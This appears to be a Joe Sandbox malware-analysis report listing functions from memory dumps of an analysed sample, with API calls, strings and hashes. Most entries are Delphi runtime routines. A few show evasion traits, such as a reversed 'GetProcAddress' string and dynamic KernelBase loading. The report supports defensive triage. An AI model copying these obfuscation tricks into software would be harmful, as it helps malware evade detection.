Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: e645eebc350de4c7301ec90b5dcb5d208bdc21c0e933716ef401ac9d029c954e
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: D2D05EAE30E2A03AA224955E2D88D7B9AFDCAC57A1F00407EF588C6201D2048C0596F1

Function 0286918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02869190

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: 3dbe188fe611524e1530fe5977efe1203383bd43af5cd73025fa91cdffa94236
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: DBA01108808830028A803B2C0C0223AB088A800A20FC80F80A8F8802E2FE2E023080E3

Function 0288E59A Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0987c11834ef1ad2f30c2134f0e553cd95669274d141d47152249faadffea2
Instruction ID: 082c42a29207ccb37e8553ce1260946e503d467e6c4ecfaadf81fe4b6b6cc0c0
Opcode Fuzzy Hash: db0987c11834ef1ad2f30c2134f0e553cd95669274d141d47152249faadffea2
Instruction Fuzzy Hash: 6D51481A41E3C28FCB439F7888A4292BFB19D9756434E05DBD8D4CF1A3D20A589FD762

Function 028620C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 0286D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0286D21D

Part of subcall function 0286D1E8: GetProcAddress.KERNEL32(00000000), ref: 0286D201

Strings

VarBstrFromBool, xrefs: 0286D3F9
VarR4FromStr, xrefs: 0286D35F
VarOr, xrefs: 0286D307
VarNot, xrefs: 0286D257
VarDateFromStr, xrefs: 0286D38B
oleaut32.dll, xrefs: 0286D218
VarBstrFromCy, xrefs: 0286D3CD
VarAnd, xrefs: 0286D2F1
VarCmp, xrefs: 0286D333
VarMod, xrefs: 0286D2DB
VarBstrFromDate, xrefs: 0286D3E3
VarNeg, xrefs: 0286D241
VarR8FromStr, xrefs: 0286D375
VarI4FromStr, xrefs: 0286D349
VarAdd, xrefs: 0286D26D
VarDiv, xrefs: 0286D2AF
VarCyFromStr, xrefs: 0286D3A1
VarIdiv, xrefs: 0286D2C5
VarXor, xrefs: 0286D31D
VariantChangeTypeEx, xrefs: 0286D22B
VarMul, xrefs: 0286D299
VarBoolFromStr, xrefs: 0286D3B7
VarSub, xrefs: 0286D283

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 43d05d4ba6d0f3ca944089eced2a1a90d787c7e21042096384a7481677794031
Instruction ID: 2ef0aec8611adb57eb7c281ca2bc74e9a19f183a5f25a68693299783bfb81ba7
Opcode Fuzzy Hash: 43d05d4ba6d0f3ca944089eced2a1a90d787c7e21042096384a7481677794031
Instruction Fuzzy Hash: 1341A16DB852085B56086B6E740C437FFDED7887143B0841BFA44CBB88DEF0BD594A6A

Function 02876E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02876E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02876E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02876E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02876E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02876E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02876EAF
GetProcAddress.KERNEL32 ref: 02876EBF

Strings

CoCreateInstanceEx, xrefs: 02876E69
CoInitializeEx, xrefs: 02876E79
CoAddRefServerProcess, xrefs: 02876E89
CoResumeClassObjects, xrefs: 02876EA9
ole32.dll, xrefs: 02876E59
CoSuspendClassObjects, xrefs: 02876EB9
CoReleaseServerProcess, xrefs: 02876E99

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: feb0b3afd968c9d010700c34b03bae68e16dc380f1c317b6a6184eb058d6d739
Instruction ID: 8d9169fdc85fd38bfac31084365053bb3092be01e951758466e7002db18e8e0d
Opcode Fuzzy Hash: feb0b3afd968c9d010700c34b03bae68e16dc380f1c317b6a6184eb058d6d739
Instruction Fuzzy Hash: 96F04CADA85BB17EB3107F78BD858372B5DAE60F443105825B402E5A43FB7DC4644FA2

Function 02862530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028628CE

Strings

bytes: , xrefs: 0286275D
The unexpected small block leaks are:, xrefs: 02862707
, xrefs: 02862814
Unexpected Memory Leak, xrefs: 028628C0
7, xrefs: 028626A1
An unexpected memory leak has occurred. , xrefs: 02862690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02862849
String, xrefs: 028627A1
Unknown, xrefs: 0286278C

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: f9b11d11519eb44e48b3ae5a19f804443f94af94026c05226001e82b3338d9d6
Instruction ID: 9a2bca898fdaa24e793f7740af5e7165fdecb3f461c5daed09943e2663bff54a
Opcode Fuzzy Hash: f9b11d11519eb44e48b3ae5a19f804443f94af94026c05226001e82b3338d9d6
Instruction Fuzzy Hash: 06A1F73CB042588BDB219A2CCC88BB876E5EB08354F1441E5DD4DDB38ACF759989CF52

Function 0286252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

bytes: , xrefs: 0286275D
The unexpected small block leaks are:, xrefs: 02862707
, xrefs: 02862814
Unexpected Memory Leak, xrefs: 028628C0
7, xrefs: 028626A1
An unexpected memory leak has occurred. , xrefs: 02862690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02862849

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: afa46a981a5963ab2e8224af5d534ef04fad37b5d1f93dfa363b959df8dfb212
Instruction ID: 2e96faa5ddab4b320c9074e73b3b109e21aea169f6c84bf842475706b52ed276
Opcode Fuzzy Hash: afa46a981a5963ab2e8224af5d534ef04fad37b5d1f93dfa363b959df8dfb212
Instruction Fuzzy Hash: 2171C43CB042988FDB219A2CCC88BE8BAE5EB09714F1041E5D94DDB28ADF7549C5CF52

Function 0286BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0286C00B,?,?,00000000,00000000), ref: 0286BD76

Part of subcall function 0286A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0286A762

Strings

AMPM , xrefs: 0286BF99
:mm:ss, xrefs: 0286BFC6
m/d/yy, xrefs: 0286BE45
:mm, xrefs: 0286BFA9
AMPM, xrefs: 0286BF8A
mmmm d, yyyy, xrefs: 0286BE72

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 8431aa41beafa167dada8ae7a7046f188bea84163ebe1b365f3507d6c2676296
Instruction ID: bbf2789ee7d6923a7f50353fdc72cba06c9dfa5753c81dedf4a982a1facc0878
Opcode Fuzzy Hash: 8431aa41beafa167dada8ae7a7046f188bea84163ebe1b365f3507d6c2676296
Instruction Fuzzy Hash: 8261643C7041489BDB04EBA8D89CBBF77B7DB48704F209436D241EB746CA79D9099B52

Function 0287AE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0287AE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 0287AE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 0287AEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 0287AEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 0287AF03

Strings

KernelBase, xrefs: 0287AE4A
LoadLibraryExA, xrefs: 0287AE45

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: a042d141bd142f1ecbc28a02f189aa68596bfd0ffb02a909c63c22b8e94aa4ca
Instruction ID: bc92e7eb268f77d507c2aab2c9208d17d51c4be6678f8fe6a4e65e87c7aaf208
Opcode Fuzzy Hash: a042d141bd142f1ecbc28a02f189aa68596bfd0ffb02a909c63c22b8e94aa4ca
Instruction Fuzzy Hash: 6E3142BEA40205BBEB14DF68DC85F6E77A8AF04768F044510FA58DB2C1D774E940DBA1

Function 0286432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028643F3,?,?,028C17C8,?,?,0288E7A8,0286655D,0288D30D), ref: 02864365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028643F3,?,?,028C17C8,?,?,0288E7A8,0286655D,0288D30D), ref: 0286436B
GetStdHandle.KERNEL32(000000F5,028643B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028643F3,?,?,028C17C8), ref: 02864380
WriteFile.KERNEL32(00000000,000000F5,028643B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028643F3,?,?), ref: 02864386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028643A4

Strings

Runtime error at 00000000, xrefs: 0286435E, 0286439D
Error, xrefs: 02864398

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: e302e004538f57097b5c1e8a097d643e424ee300a1acad0ddab19fa5222baf5c
Instruction ID: d843b950ab05ea08d9469f116307e7b2bc0c0fcb60c003487c7710b42f8df397
Opcode Fuzzy Hash: e302e004538f57097b5c1e8a097d643e424ee300a1acad0ddab19fa5222baf5c
Instruction Fuzzy Hash: B0F0B46DEC434479FA22B668AD0DFBD275C5755F10F1C4A09B338E86C287E450C49B67

Function 0286AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0286ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0286ACD9
Part of subcall function 0286ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0286ACFD
Part of subcall function 0286ACBC: GetModuleFileNameA.KERNEL32(02860000,?,00000105), ref: 0286AD18
Part of subcall function 0286ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0286ADAE

CharToOemA.USER32(?,?), ref: 0286AE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0286AE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0286AE9E
GetStdHandle.KERNEL32(000000F4,0286AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0286AEB3
WriteFile.KERNEL32(00000000,000000F4,0286AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0286AEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0286AEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0286AEF1

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 5d1548b206bd1927e862b9e305dbe7265f17ecca7e1ddf344bfd519ba0380f3e
Instruction ID: 61aa2a87aacb9ca17599a142cc26e5874abc05b6b28c18a9229cf91bbf000dc1
Opcode Fuzzy Hash: 5d1548b206bd1927e862b9e305dbe7265f17ecca7e1ddf344bfd519ba0380f3e
Instruction Fuzzy Hash: B31173BE5442447ED300EB98DC89FAB77EEAB44300F404929B754D61D1EB74E5448BA7

Function 0286E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0286E5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0286E5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0286E5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0286E677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0286E690
VariantCopy.OLEAUT32(?,00000000), ref: 0286E6C5

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction ID: f2fb26ab49be593df9e9094891b431944ad01cd08a13393f0618516854709248
Opcode Fuzzy Hash: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction Fuzzy Hash: 0751EB7DA006299BCB22DB59CD88BE9B3BDAF4D304F0441D5E509E7201DB70AF858F61

Function 02863568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0286358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028635D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028635BD
RegCloseKey.ADVAPI32(?,028635E0,00000000,?,00000004,00000000,028635D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028635D3

Strings

FPUMaskValue, xrefs: 028635B4
SOFTWARE\Borland\Delphi\RTL, xrefs: 02863580

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 228be1b59258a1810aa0a5856b3590d060aa436327f61454a110c9352e81ed0f
Instruction ID: b6ce74996fbfa0dbe78b3be9a9745bd92f2dbf297efc6e381ea5a18de343c1ff
Opcode Fuzzy Hash: 228be1b59258a1810aa0a5856b3590d060aa436327f61454a110c9352e81ed0f
Instruction Fuzzy Hash: E701D87D940308BAF711DB94DD0ABBD77ECE708B10F1005A2FA04D7780E674A610DB59

Function 028780C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02878148,?,?,00000000,00000000,?,02878061,00000000,KernelBASE,00000000,00000000,02878088), ref: 0287810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02878113
GetProcAddress.KERNEL32(?,?), ref: 02878125

Strings

sserddAcorPteG, xrefs: 028780DB
Kernel32, xrefs: 02878108

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: d6b8f5ab4ce644111a0037a08d1351bd7ef66914e40b47f52598cb428f4021a7
Instruction ID: 9308d8af3f26136929d2234dd188d73451494575bb9e404a3d53c1da2a2e4ade
Opcode Fuzzy Hash: d6b8f5ab4ce644111a0037a08d1351bd7ef66914e40b47f52598cb428f4021a7
Instruction Fuzzy Hash: DE01623DA40308AFE711EFB8DC49E6EB7AEEB49710F518864F900D7790DB74E9009A21

Function 0286A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0286AA67,?,?,00000000), ref: 0286A9E8

Part of subcall function 0286A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0286A762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0286AA67,?,?,00000000), ref: 0286AA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 0286AA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0286AA67,?,?,00000000), ref: 0286AA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 0286AA4C

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 1a6a86878f91e9fb803acd524db950968002203b368db6722e298d8e3b57c8e2
Instruction ID: ee2fee09686ce6111792c0d013276f860a84a42f6c03db873509e1a66faadf10
Opcode Fuzzy Hash: 1a6a86878f91e9fb803acd524db950968002203b368db6722e298d8e3b57c8e2
Instruction Fuzzy Hash: C701473C2402943BF706AA688C1EF7E335ECB42710FA00121F210F6B80E6699E104A66

